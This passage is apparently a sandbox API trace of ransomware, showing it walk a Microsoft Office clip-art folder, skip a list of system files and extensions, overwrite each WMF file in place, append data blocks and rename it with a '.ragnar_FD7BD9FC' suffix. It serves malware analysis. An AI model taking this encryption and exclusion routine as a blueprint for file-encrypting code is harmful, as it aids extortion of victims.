1 [0084.410] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1a88, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.410] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.410] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.410] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.410] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.410] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.410] GetProcessHeap () returned 0x580000 [0084.411] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.411] CloseHandle (hObject=0xf4) returned 1 [0084.411] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF" [0084.411] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF.ragnar_FD7BD9FC" [0084.411] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107528.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107528.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.411] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6890, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107544.WMF", cAlternateFileName="")) returned 1 [0084.411] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.411] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0107544.WMF" | out: lpString1="J0107544.WMF") returned="J0107544.WMF" [0084.411] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF") returned=".WMF" [0084.411] lstrcmpiW (lpString1="J0107544.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.411] lstrcmpiW (lpString1="J0107544.WMF", lpString2="autorun.inf") returned 1 [0084.411] lstrcmpiW (lpString1="J0107544.WMF", lpString2="boot.ini") returned 1 [0084.411] lstrcmpiW (lpString1="J0107544.WMF", lpString2="bootfont.bin") returned 1 [0084.411] lstrcmpiW (lpString1="J0107544.WMF", lpString2="bootsect.bak") returned 1 [0084.412] lstrcmpiW (lpString1="J0107544.WMF", lpString2="bootmgr") returned 1 [0084.412] lstrcmpiW (lpString1="J0107544.WMF", lpString2="bootmgr.efi") returned 1 [0084.412] lstrcmpiW (lpString1="J0107544.WMF", lpString2="bootmgfw.efi") returned 1 [0084.412] lstrcmpiW (lpString1="J0107544.WMF", lpString2="desktop.ini") returned 1 [0084.412] lstrcmpiW (lpString1="J0107544.WMF", lpString2="iconcache.db") returned 1 [0084.412] lstrcmpiW (lpString1="J0107544.WMF", lpString2="ntldr") returned -1 [0084.412] lstrcmpiW (lpString1="J0107544.WMF", lpString2="ntuser.dat") returned -1 [0084.412] lstrcmpiW (lpString1="J0107544.WMF", lpString2="ntuser.dat.log") returned -1 [0084.412] lstrcmpiW (lpString1="J0107544.WMF", lpString2="ntuser.ini") returned -1 [0084.412] lstrcmpiW (lpString1="J0107544.WMF", lpString2="thumbs.db") returned -1 [0084.412] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.412] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.412] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.412] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.412] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.412] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.412] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.412] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107544.wmf")) returned 0x20 [0084.412] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107544.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.412] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=26768) returned 1 [0084.412] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6887, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.413] GetProcessHeap () returned 0x580000 [0084.413] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.413] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.414] VirtualAlloc (lpAddress=0x0, dwSize=0x6890, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.414] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.414] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.415] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x6890, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x6890, lpOverlapped=0x0) returned 1 [0084.416] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.416] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6890, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.416] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x6890, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x6890, lpOverlapped=0x0) returned 1 [0084.416] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6890, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.416] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.417] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6890, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.417] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.417] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.417] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.417] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.417] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.417] GetProcessHeap () returned 0x580000 [0084.417] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.417] CloseHandle (hObject=0xf4) returned 1 [0084.417] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF" [0084.417] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF.ragnar_FD7BD9FC" [0084.417] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107544.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107544.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.418] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107658.WMF", cAlternateFileName="")) returned 1 [0084.418] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.418] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0107658.WMF" | out: lpString1="J0107658.WMF") returned="J0107658.WMF" [0084.418] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF") returned=".WMF" [0084.418] lstrcmpiW (lpString1="J0107658.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.418] lstrcmpiW (lpString1="J0107658.WMF", lpString2="autorun.inf") returned 1 [0084.418] lstrcmpiW (lpString1="J0107658.WMF", lpString2="boot.ini") returned 1 [0084.418] lstrcmpiW (lpString1="J0107658.WMF", lpString2="bootfont.bin") returned 1 [0084.418] lstrcmpiW (lpString1="J0107658.WMF", lpString2="bootsect.bak") returned 1 [0084.418] lstrcmpiW (lpString1="J0107658.WMF", lpString2="bootmgr") returned 1 [0084.418] lstrcmpiW (lpString1="J0107658.WMF", lpString2="bootmgr.efi") returned 1 [0084.418] lstrcmpiW (lpString1="J0107658.WMF", lpString2="bootmgfw.efi") returned 1 [0084.418] lstrcmpiW (lpString1="J0107658.WMF", lpString2="desktop.ini") returned 1 [0084.418] lstrcmpiW (lpString1="J0107658.WMF", lpString2="iconcache.db") returned 1 [0084.418] lstrcmpiW (lpString1="J0107658.WMF", lpString2="ntldr") returned -1 [0084.418] lstrcmpiW (lpString1="J0107658.WMF", lpString2="ntuser.dat") returned -1 [0084.418] lstrcmpiW (lpString1="J0107658.WMF", lpString2="ntuser.dat.log") returned -1 [0084.418] lstrcmpiW (lpString1="J0107658.WMF", lpString2="ntuser.ini") returned -1 [0084.418] lstrcmpiW (lpString1="J0107658.WMF", lpString2="thumbs.db") returned -1 [0084.418] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.418] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.418] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.418] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.418] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.418] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.418] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.418] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107658.wmf")) returned 0x20 [0084.419] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107658.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.419] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7072) returned 1 [0084.419] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1b97, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.419] GetProcessHeap () returned 0x580000 [0084.419] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.419] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.420] VirtualAlloc (lpAddress=0x0, dwSize=0x1ba0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.421] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.421] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.421] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1ba0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1ba0, lpOverlapped=0x0) returned 1 [0084.422] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.422] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1ba0, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.422] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1ba0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1ba0, lpOverlapped=0x0) returned 1 [0084.422] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1ba0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.422] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.422] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1ba0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.422] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.422] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.422] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.422] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.422] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.422] GetProcessHeap () returned 0x580000 [0084.422] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.423] CloseHandle (hObject=0xf4) returned 1 [0084.423] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF" [0084.423] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF.ragnar_FD7BD9FC" [0084.423] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107658.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107658.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.423] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65edb1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x12c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107708.WMF", cAlternateFileName="")) returned 1 [0084.423] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.423] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0107708.WMF" | out: lpString1="J0107708.WMF") returned="J0107708.WMF" [0084.423] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF") returned=".WMF" [0084.423] lstrcmpiW (lpString1="J0107708.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.423] lstrcmpiW (lpString1="J0107708.WMF", lpString2="autorun.inf") returned 1 [0084.424] lstrcmpiW (lpString1="J0107708.WMF", lpString2="boot.ini") returned 1 [0084.424] lstrcmpiW (lpString1="J0107708.WMF", lpString2="bootfont.bin") returned 1 [0084.424] lstrcmpiW (lpString1="J0107708.WMF", lpString2="bootsect.bak") returned 1 [0084.424] lstrcmpiW (lpString1="J0107708.WMF", lpString2="bootmgr") returned 1 [0084.424] lstrcmpiW (lpString1="J0107708.WMF", lpString2="bootmgr.efi") returned 1 [0084.424] lstrcmpiW (lpString1="J0107708.WMF", lpString2="bootmgfw.efi") returned 1 [0084.424] lstrcmpiW (lpString1="J0107708.WMF", lpString2="desktop.ini") returned 1 [0084.424] lstrcmpiW (lpString1="J0107708.WMF", lpString2="iconcache.db") returned 1 [0084.424] lstrcmpiW (lpString1="J0107708.WMF", lpString2="ntldr") returned -1 [0084.424] lstrcmpiW (lpString1="J0107708.WMF", lpString2="ntuser.dat") returned -1 [0084.424] lstrcmpiW (lpString1="J0107708.WMF", lpString2="ntuser.dat.log") returned -1 [0084.424] lstrcmpiW (lpString1="J0107708.WMF", lpString2="ntuser.ini") returned -1 [0084.424] lstrcmpiW (lpString1="J0107708.WMF", lpString2="thumbs.db") returned -1 [0084.424] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.424] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.424] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.424] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.424] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.424] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.424] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.424] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107708.wmf")) returned 0x20 [0084.425] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107708.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.425] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4808) returned 1 [0084.425] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x12bf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.425] GetProcessHeap () returned 0x580000 [0084.425] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.425] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.427] VirtualAlloc (lpAddress=0x0, dwSize=0x12c8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.427] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.427] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.427] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x12c8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x12c8, lpOverlapped=0x0) returned 1 [0084.428] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.428] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x12c8, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.428] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x12c8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x12c8, lpOverlapped=0x0) returned 1 [0084.428] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x12c8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.428] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.428] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x12c8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.428] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.428] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.428] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.428] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 